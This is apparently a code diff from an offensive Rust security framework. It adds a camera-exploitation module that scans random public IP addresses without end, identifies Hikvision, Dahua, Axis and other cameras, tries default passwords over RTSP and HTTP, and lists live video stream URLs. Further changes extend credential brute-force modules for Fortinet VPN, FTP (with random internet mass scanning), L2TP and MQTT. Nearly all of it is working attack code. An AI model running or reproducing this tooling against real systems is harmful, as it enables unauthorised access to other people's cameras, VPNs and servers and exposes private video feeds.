let headers = format!("{:?}", resp.headers()).to_lowercase();
let body = resp.text().await.unwrap_or_default().to_lowercase();
if headers.contains("hikvision") || body.contains("hikvision") {
println!("🔥 {} on port {}!", "Hikvision Camera Detected".bright_red().bold(), port);
found_brand = true;
} else if headers.contains("dahua") || body.contains("dahua") {
println!("🔥 {} on port {}!", "Dahua Camera Detected".bright_red().bold(), port);
found_brand = true;
} else if headers.contains("axis") || body.contains("axis") {
println!("🔥 {} on port {}!", "Axis Camera Detected".bright_red().bold(), port);
found_brand = true;
} else if body.contains("cp plus") || body.contains("cpplus") {
println!("🔥 {} on port {}!", "CP Plus Camera Detected".bright_red().bold(), port);
found_brand = true;
} else if body.contains("foscam") || headers.contains("foscam") {
println!("🔥 {} on port {}!", "Foscam Camera Detected".bright_red().bold(), port);
found_brand = true;
} else if body.contains("vivotek") || headers.contains("vivotek") {
println!("🔥 {} on port {}!", "Vivotek Camera Detected".bright_red().bold(), port);
found_brand = true;
}
}
}
if !found_brand {
println!(" {} Could not identify specific camera brand", "[-]".yellow());
}
}
// =================================================================================
// CREDENTIALS
// =================================================================================
async fn test_default_passwords(target: &str, open_ports: &[u16], rtsp_ports: &[u16], client: &Client) {
println!("{}", "\n[🔑] Testing common credentials...".cyan());
println!("{}", "[️] Prioritizing RTSP ports and Web ports with authentication.".yellow());
let all_creds_vec = get_default_credentials();
let all_creds = all_creds_vec.as_slice();
let mut priority_creds = Vec::new();
// Top priority credentials
priority_creds.push(("admin", "admin"));
priority_creds.push(("admin", "12345"));
priority_creds.push(("admin", "123456"));
priority_creds.push(("admin", ""));
priority_creds.push(("root", "root"));
priority_creds.push(("root", "12345"));
priority_creds.push(("", "admin"));
// Test RTSP ports first
if !rtsp_ports.is_empty() {
println!("{}", "\n[🎯] Testing RTSP Authentication...".cyan());
for &port in rtsp_ports {
for &(user, pass) in &priority_creds {
if test_rtsp_auth(target, port, user, pass).await {
println!("🔥 {} RTSP {}:{} @ rtsp://{}:{}/",
"SUCCESS!".bright_green().bold(),
user,
if pass.is_empty() { "<empty>" } else { pass },
target,
port
);
}
}
}
}
// Test HTTP/HTTPS ports
println!("{}", "\n[🎯] Testing HTTP Basic Auth...".cyan());
for &port in open_ports {
if rtsp_ports.contains(&port) {
continue; // Already tested
}
let protocol = get_protocol(port);
let url = format!("{}://{}:{}", protocol, target, port);
// First check if auth is required
if let Ok(resp) = client.get(&url).send().await {
if resp.status() == reqwest::StatusCode::UNAUTHORIZED {
// Try credentials
// First try priority creds
let mut tested = HashSet::new();
for &(user, pass) in &priority_creds {
tested.insert((user, pass));
if let Ok(resp) = client.get(&url).basic_auth(user, Some(pass)).send().await {
if resp.status().is_success() {
println!("🔥 {} HTTP Basic {}:{} @ {}",
"SUCCESS!".bright_green().bold(),
user,
if pass.is_empty() { "<empty>" } else { pass },
url
);
}
}
}
// Then try remaining creds from the full list
for &(user, pass) in all_creds {
if tested.contains(&(user, pass)) { continue; }
if let Ok(resp) = client.get(&url).basic_auth(user, Some(pass)).send().await {
if resp.status().is_success() {
println!("🔥 {} HTTP Basic {}:{} @ {}",
"SUCCESS!".bright_green().bold(),
user,
if pass.is_empty() { "<empty>" } else { pass },
url
);
}
}
}
}
}
}
}
async fn test_rtsp_auth(target: &str, port: u16, user: &str, pass: &str) -> bool {
let addr = format!("{}:{}", target, port);
if let Ok(Ok(mut stream)) = timeout(Duration::from_secs(2), TcpStream::connect(&addr)).await {
let auth_str = BASE64_STANDARD.encode(format!("{}:{}", user, pass));
let request = format!(
"OPTIONS rtsp://{}:{}/ RTSP/1.0\r\nAuthorization: Basic {}\r\nCSeq: 1\r\n\r\n",
target, port, auth_str
);
if stream.write_all(request.as_bytes()).await.is_ok() {
let mut buffer = [0u8; 2048];
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buffer)).await {
let response = String::from_utf8_lossy(&buffer[..n]);
if response.contains("RTSP/1.0 200 OK") {
return true;
}
}
}
}
false
}
// =================================================================================
// STREAM DETECTION
// =================================================================================
async fn detect_live_streams(target: &str, open_ports: &[u16], rtsp_ports: &[u16], client: &Client) {
println!("{}", "\n[🎥] Detecting Live Streams...".cyan());
// Show RTSP links
if !rtsp_ports.is_empty() {
println!("{}", "\n[🎯] RTSP Ports Found - Potential RTSP URLs:".bright_cyan());
let common_paths = [
"/",
"/live.sdp",
"/h264.sdp",
"/stream1",
"/Streaming/Channels/1",
"/Streaming/Channels/101",
"/cam/realmonitor",
"/live/ch00_0",
"/livestream",
"/axis-media/media.amp"
];
for &port in rtsp_ports {
for path in common_paths {
println!(" 🎥 RTSP: rtsp://{}:{}{}", target, port, path);
}
}
println!("{}", " 💡 Tip: Use VLC Media Player (Media -> Open Network Stream) to test these URLs".yellow());
}
// Check HTTP streams on open ports
println!("{}", "\n[🔍] Checking HTTP/HTTPS Streams...".cyan());
let stream_paths = [
"/video",
"/stream",
"/live",
"/mjpg/video.mjpg",
"/snapshot.jpg",
"/videostream.cgi",
"/video.cgi",
"/image.jpg",
"/cgi-bin/mjpeg",
"/axis-cgi/mjpg/video.cgi"
];
let mut found_streams = false;
for &port in open_ports {
let protocol = get_protocol(port);
for path in stream_paths {
let url = format!("{}://{}:{}{}", protocol, target, port, path);
// Use head first
if let Ok(resp) = client.head(&url).send().await {
let status = resp.status();
if status.is_success() || status == reqwest::StatusCode::UNAUTHORIZED {
let ct = resp.headers().get("content-type")
.and_then(|h| h.to_str().ok())
.unwrap_or("");
if ct.contains("video") || ct.contains("stream") || ct.contains("image") || ct.contains("mjpeg") {
println!(" ✅ Potential Stream: {} (Type: {})", url, ct);
found_streams = true;
} else if status == reqwest::StatusCode::UNAUTHORIZED {
println!(" ⚠️ Protected Stream: {} (Auth Required)", url);
found_streams = true;
}
}
}
}
}
if !found_streams && rtsp_ports.is_empty() {
println!(" {} No live streams detected", "[-]".yellow());
}
}
// =================================================================================
// HELPER FUNCTIONS
// =================================================================================
fn get_default_credentials() -> Vec<(&'static str, &'static str)> {
DEFAULT_CREDENTIALS.to_vec()
}
// =================================================================================
// MASS SCAN FUNCTIONS
// =================================================================================
/// Build parsed exclusion list from EXCLUDED_RANGES
fn build_exclusion_list() -> Vec<ipnetwork::IpNetwork> {
EXCLUDED_RANGES.iter()
.filter_map(|cidr| cidr.parse::<ipnetwork::IpNetwork>().ok())
.collect()
}
/// Generate a random public IP, excluding reserved/bogon ranges
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> Ipv4Addr {
let mut rng = rand::rng();
loop {
let ip = Ipv4Addr::from(rng.random::<u32>());
let ip_addr = IpAddr::V4(ip);
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
return ip;
}
}
}
/// Check if all open ports are in the ignored services list (SSH/Telnet/RDP)
/// Returns true if the host should be skipped (only non-camera services found)
fn is_only_ignored_services(open_ports: &[u16]) -> bool {
if open_ports.is_empty() {
return true;
}
open_ports.iter().all(|p| IGNORED_SERVICE_PORTS.contains(p))
}
async fn run_mass_scan() -> Result<()> {
println!("{}", "=== MASS SCAN MODE ACTIVATED ===".red().bold().blink());
println!("{}", "WARNING: This will scan random IP addresses indefinitely.".yellow());
println!("{}", "[*] Excluded ranges: bogons, private, reserved, documentation, public DNS".cyan());
println!("{}", "[*] Service filter: hosts with only SSH/Telnet/RDP will be skipped".cyan());
println!();
// Build exclusion list
let exclusions = build_exclusion_list();
println!("{}", format!("[+] Loaded {} IP exclusion ranges", exclusions.len()).green());
// Prompt for thread count
let thread_count = crate::utils::prompt_int("Threads", 200)? as usize;
// Prompt for output file
let output_file = crate::utils::prompt_default(
"Output file for discovered cameras",
"camxploit_results.txt",
)?;
println!("{}", format!(
"[*] Starting mass scan with {} threads... Press Ctrl+C to stop.",
thread_count
).cyan());
println!();
let exclusions = Arc::new(exclusions);
let scanned_count = Arc::new(AtomicU64::new(0));
let found_count = Arc::new(AtomicU64::new(0));
let skipped_service_count = Arc::new(AtomicU64::new(0));
let semaphore = Arc::new(Semaphore::new(thread_count));
let output_file = Arc::new(output_file);
// Progress reporter task (time-based, every 10 seconds)
{
let scanned = scanned_count.clone();
let found = found_count.clone();
let skipped = skipped_service_count.clone();
let start_time = Instant::now();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(10)).await;
let total = scanned.load(Ordering::Relaxed);
let elapsed = start_time.elapsed().as_secs().max(1);
let rate = total / elapsed;
println!(
"[*] Progress: {} scanned | {} cameras found | {} skipped (non-camera) | {} IPs/sec",
total,
found.load(Ordering::Relaxed),
skipped.load(Ordering::Relaxed),
rate
);
}
});
}
// Infinite parallel scan loop
loop {
let permit = semaphore.clone().acquire_owned().await
.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let scanned = scanned_count.clone();
let found = found_count.clone();
let skipped = skipped_service_count.clone();
let outfile = output_file.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
let target = ip.to_string();
// Parallel port scan
let (open_ports, rtsp_ports) = check_ports(&target).await;
scanned.fetch_add(1, Ordering::Relaxed);
if open_ports.is_empty() {
drop(permit);
return;
}
// Service filter: skip if only SSH/Telnet/RDP are open
if is_only_ignored_services(&open_ports) {
skipped.fetch_add(1, Ordering::Relaxed);
drop(permit);
return;
}
println!(
"{}",
format!(
"\n[+] Target: {} - {} open ports (camera-relevant): {:?}",
target,
open_ports.len(),
open_ports
)
.green()
.bold()
);
let client = match create_client() {
Ok(c) => c,
Err(e) => {
eprintln!("Failed to create client: {}", e);
drop(permit);
return;
}
};
// Camera detection & fingerprinting
let is_camera = check_if_camera(&target, &open_ports, &client).await;
check_login_pages(&target, &open_ports, &client).await;
fingerprint_camera(&target, &open_ports, &client).await;
// Credential testing
test_default_passwords(&target, &open_ports, &rtsp_ports, &client).await;
// Stream detection
detect_live_streams(&target, &open_ports, &rtsp_ports, &client).await;
// Record discovered camera
if is_camera || !rtsp_ports.is_empty() {
found.fetch_add(1, Ordering::Relaxed);
// Save to output file
if let Ok(mut file) = std::fs::OpenOptions::new()
.create(true)
.append(true)
.open(outfile.as_str())
{
use std::io::Write;
let _ = writeln!(
file,
"CAMERA: {} | ports: {:?} | rtsp: {:?}",
target, open_ports, rtsp_ports
);
}
}
drop(permit);
});
}
}
+1
View File
@@ -0,0 +1 @@
pub mod camxploit;
@@ -15,7 +15,7 @@ use tokio::{
};
use crate::utils::{
prompt_yes_no, prompt_default, prompt_int_range,
load_lines, prompt_wordlist, normalize_target,
load_lines, prompt_existing_file, normalize_target,
get_filename_in_current_dir, prompt_port,
};
use regex::Regex;
@@ -36,38 +36,79 @@ pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
let port: u16 = prompt_port("Fortinet VPN Port", 443)?;
// Check for API-provided config
let config_api = crate::config::get_module_config();
let api_mode = config_api.is_api_mode();
let usernames_file_path = prompt_wordlist("Username wordlist path")?;
let passwords_file_path = prompt_wordlist("Password wordlist path")?;
let port: u16 = if let Some(p) = config_api.port {
p
} else if api_mode {
443
} else {
prompt_port("Fortinet VPN Port", 443)?
};
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000)? as usize;
let timeout_secs = prompt_int_range("Connection timeout (seconds)", 10, 1, 300)? as u64;
let usernames_file_path = if let Some(ref f) = config_api.username_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Username wordlist not found: {}", f));
}
f.clone()
} else if api_mode {
return Err(anyhow!("Username wordlist required for API mode"));
} else {
prompt_existing_file("Username wordlist path")?
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let _save_results = prompt_yes_no("Save results to file?", true)?;
let passwords_file_path = if let Some(ref f) = config_api.password_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Password wordlist not found: {}", f));
}
f.clone()
} else if api_mode {
return Err(anyhow!("Password wordlist required for API mode"));
} else {
prompt_existing_file("Password wordlist path")?
};
let concurrency = config_api.concurrency.unwrap_or_else(|| {
if api_mode { 10 } else { prompt_int_range("Max concurrent tasks", 10, 1, 10000).unwrap_or(10) as usize }
});
let timeout_secs = if api_mode { 10 } else {
prompt_int_range("Connection timeout (seconds)", 10, 1, 300).unwrap_or(10) as u64
};
let stop_on_success = config_api.stop_on_success.unwrap_or_else(|| {
if api_mode { true } else { prompt_yes_no("Stop on first success?", true).unwrap_or(true) }
});
let _save_results = if api_mode { true } else { prompt_yes_no("Save results to file?", true)? };
let save_path = if _save_results {
Some(prompt_default("Output file name", "fortinet_results.txt")?)
Some(config_api.output_file.clone().unwrap_or_else(|| {
if api_mode { "fortinet_results.txt".to_string() } else { prompt_default("Output file name", "fortinet_results.txt").unwrap_or_else(|_| "fortinet_results.txt".to_string()) }
}))
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
let verbose = config_api.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
});
let combo_mode = config_api.combo_mode.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Combination mode? (try every password with every user)", false).unwrap_or(false) }
});
// Optional prompts
// We don't have prompt_optional in shared utils yet?
// Yes we do, implicitly via prompt_default("") or similar, check utils.rs
// Actually utils has prompt_default. If user enters empty, it returns default.
// If we want optional, we might need to rely on prompt_default returning empty string if default is empty?
// Let's implement a quick local helper or use prompt_default("", "") if that works.
// The previous code had `prompt_optional`.
// I will use prompt_default with empty default and check for empty string.
let trusted_cert_str = prompt_default("Trusted certificate SHA256 (optional, press Enter to skip)", "")?;
let trusted_cert = if trusted_cert_str.is_empty() { None } else { Some(trusted_cert_str) };
// Optional prompts - skip in API mode
let trusted_cert = if api_mode {
None
} else {
let trusted_cert_str = prompt_default("Trusted certificate SHA256 (optional, press Enter to skip)", "")?;
if trusted_cert_str.is_empty() { None } else { Some(trusted_cert_str) }
};
let realm_str = prompt_default("Authentication realm (optional)", "")?;
let realm = if realm_str.is_empty() { None } else { Some(realm_str) };
let realm = if api_mode {
None
} else {
let realm_str = prompt_default("Authentication realm (optional)", "")?;
if realm_str.is_empty() { None } else { Some(realm_str) }
};
let base_url = build_fortinet_url(target, port)?;
@@ -372,12 +413,15 @@ async fn try_fortinet_login(
/// Extracts CSRF token from HTML response using pre-compiled regex patterns
fn extract_csrf_token(html: &str) -> Option<String> {
static CSRF_PATTERNS: Lazy<Vec<Regex>> = Lazy::new(|| {
vec![
Regex::new(r#"name="magic"\s+value="([^"]+)""#).expect("Invalid regex pattern"),
Regex::new(r#"name="csrf_token"\s+value="([^"]+)""#).expect("Invalid regex pattern"),
Regex::new(r#""magic"\s*:\s*"([^"]+)""#).expect("Invalid regex pattern"),
Regex::new(r#"magic=([^&\s"]+)"#).expect("Invalid regex pattern"),
]
let patterns = [
r#"name="magic"\s+value="([^"]+)""#,
r#"name="csrf_token"\s+value="([^"]+)""#,
r#""magic"\s*:\s*"([^"]+)""#,
r#"magic=([^&\s"]+)"#,
];
patterns.into_iter()
.filter_map(|p| Regex::new(p).ok())
.collect()
});
for pattern in CSRF_PATTERNS.iter() {
+19 -4
View File
@@ -157,12 +157,18 @@ async fn run_mass_scan(target: &str) -> Result<()> {
let _verbose = prompt_yes_no("Verbose mode?", false)?;
let output_file = prompt_default("Output result file", "ftp_mass_results.txt")?;
// Ask about exclusions
let use_exclusions = prompt_yes_no("Exclude reserved/private ranges?", true)?;
// Parse exclusions
let mut exclusion_subnets = Vec::new();
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusion_subnets.push(net);
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusion_subnets.push(net);
}
}
println!("{}", format!("[+] Loaded {} exclusion ranges", exclusion_subnets.len()).cyan());
}
let exclusions = Arc::new(exclusion_subnets);
@@ -187,6 +193,9 @@ async fn run_mass_scan(target: &str) -> Result<()> {
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
if run_random {
// Initialize state file
OpenOptions::new().create(true).write(true).open(STATE_FILE).await?;
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
@@ -207,7 +216,13 @@ async fn run_mass_scan(target: &str) -> Result<()> {
}
} else {
// File Mode
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
let content = match tokio::fs::read_to_string(target).await {
Ok(c) => c,
Err(e) => {
println!("{}", format!("[!] Failed to read target file: {}", e).red());
return Ok(());
}
};
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
+118 -29
View File
@@ -23,7 +23,7 @@ use rand::Rng;
use crate::utils::{
prompt_required, prompt_default, prompt_yes_no,
prompt_int_range, prompt_wordlist,
prompt_int_range, prompt_existing_file, prompt_port,
load_lines, get_filename_in_current_dir
};
use crate::modules::creds::utils::BruteforceStats;
@@ -138,34 +138,75 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", format!("[*] Target: {}", target).cyan());
// --- Standard Single Target Logic ---
// Check for API-provided config
let config = crate::config::get_module_config();
let api_mode = config.is_api_mode();
let port: u16 = loop {
let input = prompt_default("FTP Port", "21")?;
if let Ok(p) = input.parse() { break p }
println!("Invalid port. Try again.");
// Get port - from API config or prompt
let port: u16 = if let Some(p) = config.port {
p
} else {
prompt_port("FTP Port", 21)?
};
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "500")?;
if let Ok(n) = input.parse::<usize>() {
if n > 0 { break n }
// Get wordlists - from API config or prompt
let usernames_file = if let Some(ref f) = config.username_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Username wordlist not found: {}", f));
}
println!("Invalid number. Try again.");
f.clone()
} else {
prompt_required("Username wordlist")?
};
let passwords_file = if let Some(ref f) = config.password_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Password wordlist not found: {}", f));
}
f.clone()
} else {
prompt_required("Password wordlist")?
};
let concurrency: usize = config.concurrency.unwrap_or_else(|| {
if api_mode { 500 } else {
loop {
let input = prompt_default("Max concurrent tasks", "500").unwrap_or_else(|_| "500".to_string());
if let Ok(n) = input.parse::<usize>() {
if n > 0 { return n }
}
println!("Invalid number. Try again.");
}
}
});
// Create a semaphore to limit concurrent network operations
let semaphore = Arc::new(Semaphore::new(concurrency));
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let stop_on_success = config.stop_on_success.unwrap_or_else(|| {
if api_mode { true } else { prompt_yes_no("Stop on first success?", true).unwrap_or(true) }
});
let save_results = config.save_results.unwrap_or_else(|| {
if api_mode { true } else { prompt_yes_no("Save results to file?", true).unwrap_or(true) }
});
let save_path = if save_results {
Some(prompt_default("Output file", "ftp_results.txt")?)
Some(config.output_file.clone().unwrap_or_else(|| {
if api_mode { "ftp_results.txt".to_string() } else { prompt_default("Output file", "ftp_results.txt").unwrap_or_else(|_| "ftp_results.txt".to_string()) }
}))
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode (user × pass)?", false)?;
let verbose = config.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
});
let combo_mode = config.combo_mode.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Combination mode (user × pass)?", false).unwrap_or(false) }
});
let display_addr = format_addr_for_display(target, port);
let connect_addr = format_addr_for_display(target, port);
@@ -280,7 +321,7 @@ pub async fn run(target: &str) -> Result<()> {
if !users.is_empty() {
for (i, pass) in passes.iter().enumerate() {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let user = users.get(i % users.len()).expect("User list modulus logic error").clone();
let user = users[i % users.len()].clone();
let addr_clone = connect_addr.clone();
let target_clone = target.to_string();
@@ -392,10 +433,36 @@ pub async fn run(target: &str) -> Result<()> {
}
async fn run_mass_scan(target: &str) -> Result<()> {
// Prep
let port: u16 = prompt_default("FTP Port", "21")?.parse().unwrap_or(21);
let usernames_file = prompt_wordlist("Username wordlist")?;
let passwords_file = prompt_wordlist("Password wordlist")?;
// Get API config
let config = crate::config::get_module_config();
let api_mode = config.is_api_mode();
// Prep - use API config or prompt
let port: u16 = config.port.unwrap_or_else(|| {
if api_mode { 21 } else { prompt_port("FTP Port", 21).unwrap_or(21) }
});
let usernames_file = config.username_wordlist.clone().ok_or_else(|| {
if api_mode {
anyhow!("username_wordlist required for API mode mass scan")
} else {
anyhow!("Username wordlist required")
}
}).or_else(|_| {
if api_mode { Err(anyhow!("username_wordlist required for API mode")) }
else { prompt_existing_file("Username wordlist") }
})?;
let passwords_file = config.password_wordlist.clone().ok_or_else(|| {
if api_mode {
anyhow!("password_wordlist required for API mode mass scan")
} else {
anyhow!("Password wordlist required")
}
}).or_else(|_| {
if api_mode { Err(anyhow!("password_wordlist required for API mode")) }
else { prompt_existing_file("Password wordlist") }
})?;
let users = load_lines(&usernames_file)?;
let pass_lines = load_lines(&passwords_file)?;
@@ -403,16 +470,29 @@ async fn run_mass_scan(target: &str) -> Result<()> {
if users.is_empty() { return Err(anyhow!("User list empty")); }
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let output_file = prompt_default("Output result file", "ftp_brute_mass_results.txt")?;
let concurrency = config.concurrency.unwrap_or_else(|| {
if api_mode { 500 } else { prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).unwrap_or(500) as usize }
});
let verbose = config.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
});
let output_file = config.output_file.clone().unwrap_or_else(|| {
if api_mode { "ftp_brute_mass_results.txt".to_string() }
else { prompt_default("Output result file", "ftp_brute_mass_results.txt").unwrap_or_else(|_| "ftp_brute_mass_results.txt".to_string()) }
});
// In API mode, always exclude private ranges; otherwise ask
let use_exclusions = if api_mode { true } else { prompt_yes_no("Exclude reserved/private ranges?", true).unwrap_or(true) };
// Parse exclusions
let mut exclusion_subnets = Vec::new();
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusion_subnets.push(net);
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusion_subnets.push(net);
}
}
println!("{}", format!("[+] Loaded {} exclusion ranges", exclusion_subnets.len()).cyan());
}
let exclusions = Arc::new(exclusion_subnets);
@@ -439,6 +519,9 @@ async fn run_mass_scan(target: &str) -> Result<()> {
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
if run_random {
// Initialize state file
OpenOptions::new().create(true).write(true).open(STATE_FILE).await?;
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
@@ -460,7 +543,13 @@ async fn run_mass_scan(target: &str) -> Result<()> {
}
} else {
// File Mode
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
let content = match tokio::fs::read_to_string(target).await {
Ok(c) => c,
Err(e) => {
println!("{}", format!("[!] Failed to read target file: {}", e).red());
return Ok(());
}
};
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
+52 -11
View File
@@ -13,7 +13,7 @@ use tokio::sync::{Mutex, Semaphore};
use tokio::time::sleep;
use crate::utils::{
prompt_yes_no, prompt_wordlist, prompt_default, prompt_int_range,
prompt_yes_no, prompt_existing_file, prompt_default, prompt_int_range,
load_lines, normalize_target, get_filename_in_current_dir, prompt_port,
};
use crate::modules::creds::utils::BruteforceStats;
@@ -299,24 +299,65 @@ pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
// Check for API-provided config
let config_api = crate::config::get_module_config();
let api_mode = config_api.is_api_mode();
let normalized = normalize_target(target)?;
let port: u16 = prompt_port("L2TP Port", 1701)?;
let port: u16 = if let Some(p) = config_api.port {
p
} else if api_mode {
1701
} else {
prompt_port("L2TP Port", 1701)?
};
let usernames_file = prompt_wordlist("Username wordlist")?;
let passwords_file = prompt_wordlist("Password wordlist")?;
let usernames_file = if let Some(ref f) = config_api.username_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Username wordlist not found: {}", f));
}
f.clone()
} else if api_mode {
return Err(anyhow!("Username wordlist required for API mode"));
} else {
prompt_existing_file("Username wordlist")?
};
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 100)? as usize;
let timeout_ms = prompt_int_range("Connection timeout (ms)", DEFAULT_TIMEOUT_MS as i64, 100, 30000)? as u64;
let passwords_file = if let Some(ref f) = config_api.password_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Password wordlist not found: {}", f));
}
f.clone()
} else if api_mode {
return Err(anyhow!("Password wordlist required for API mode"));
} else {
prompt_existing_file("Password wordlist")?
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let concurrency = config_api.concurrency.unwrap_or_else(|| {
if api_mode { 10 } else { prompt_int_range("Max concurrent tasks", 10, 1, 100).unwrap_or(10) as usize }
});
let timeout_ms = if api_mode { DEFAULT_TIMEOUT_MS } else {
prompt_int_range("Connection timeout (ms)", DEFAULT_TIMEOUT_MS as i64, 100, 30000).unwrap_or(DEFAULT_TIMEOUT_MS as i64) as u64
};
let stop_on_success = config_api.stop_on_success.unwrap_or_else(|| {
if api_mode { true } else { prompt_yes_no("Stop on first success?", true).unwrap_or(true) }
});
let save_results = if api_mode { true } else { prompt_yes_no("Save results to file?", true)? };
let save_path = if save_results {
Some(prompt_default("Output file name", "l2tp_results.txt")?)
Some(config_api.output_file.clone().unwrap_or_else(|| {
if api_mode { "l2tp_results.txt".to_string() } else { prompt_default("Output file name", "l2tp_results.txt").unwrap_or_else(|_| "l2tp_results.txt".to_string()) }
}))
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
let verbose = config_api.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
});
let combo_mode = config_api.combo_mode.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Combination mode? (try every password with every user)", false).unwrap_or(false) }
});
let addr = format!("{}:{}", normalized, port);
+1 -1
View File
@@ -7,7 +7,7 @@
pub mod ssh_bruteforce;
pub mod ssh_user_enum;
pub mod ssh_spray;
pub mod rtsp_bruteforce_advanced;
pub mod rtsp_bruteforce;
pub mod rdp_bruteforce;
pub mod enablebruteforce;
pub mod smtp_bruteforce;
+54 -12
View File
@@ -18,7 +18,7 @@ use tokio::sync::{Mutex, Semaphore};
use futures::stream::{FuturesUnordered, StreamExt};
use crate::utils::{
prompt_yes_no, prompt_wordlist, prompt_int_range, prompt_default,
prompt_yes_no, prompt_existing_file, prompt_int_range, prompt_default,
load_lines, normalize_target,
};
use crate::modules::creds::utils::BruteforceStats;
@@ -125,23 +125,65 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", format!("[*] Target: {}", normalized_target).cyan());
println!();
// Configuration prompts
let port = prompt_int_range("MQTT Port (1883/8883)", 1883, 1, 65535)? as u16;
let use_tls = if port == 8883 {
// Check for API-provided config
let config_api = crate::config::get_module_config();
let api_mode = config_api.is_api_mode();
// Configuration
let port = if let Some(p) = config_api.port {
p
} else if api_mode {
1883
} else {
prompt_int_range("MQTT Port (1883/8883)", 1883, 1, 65535)? as u16
};
let use_tls = if api_mode {
port == 8883
} else if port == 8883 {
println!("{}", "[*] Port 8883 detected - TLS enabled by default".blue());
true
} else {
prompt_yes_no("Use TLS/SSL?", false)?
};
let test_anonymous = prompt_yes_no("Test anonymous authentication first?", true)?;
let username_wordlist = prompt_wordlist("Username wordlist file")?;
let password_wordlist = prompt_wordlist("Password wordlist file")?;
let threads = prompt_int_range("Concurrent connections", 10, 1, 500)? as usize;
let stop_on_success = prompt_yes_no("Stop on first valid login?", true)?;
let full_combo = prompt_yes_no("Full combination mode (user × pass)?", false)?;
let verbose = prompt_yes_no("Verbose output?", false)?;
let client_id = prompt_default("MQTT Client ID", "rustsploit_mqtt")?;
let test_anonymous = if api_mode { false } else { prompt_yes_no("Test anonymous authentication first?", true)? };
let username_wordlist = if let Some(ref f) = config_api.username_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Username wordlist not found: {}", f));
}
f.clone()
} else if api_mode {
return Err(anyhow!("Username wordlist required for API mode"));
} else {
prompt_existing_file("Username wordlist file")?
};
let password_wordlist = if let Some(ref f) = config_api.password_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Password wordlist not found: {}", f));
}
f.clone()
} else if api_mode {
return Err(anyhow!("Password wordlist required for API mode"));
} else {
prompt_existing_file("Password wordlist file")?
};
let threads = config_api.concurrency.unwrap_or_else(|| {
if api_mode { 10 } else { prompt_int_range("Concurrent connections", 10, 1, 500).unwrap_or(10) as usize }
});
let stop_on_success = config_api.stop_on_success.unwrap_or_else(|| {
if api_mode { true } else { prompt_yes_no("Stop on first valid login?", true).unwrap_or(true) }
});
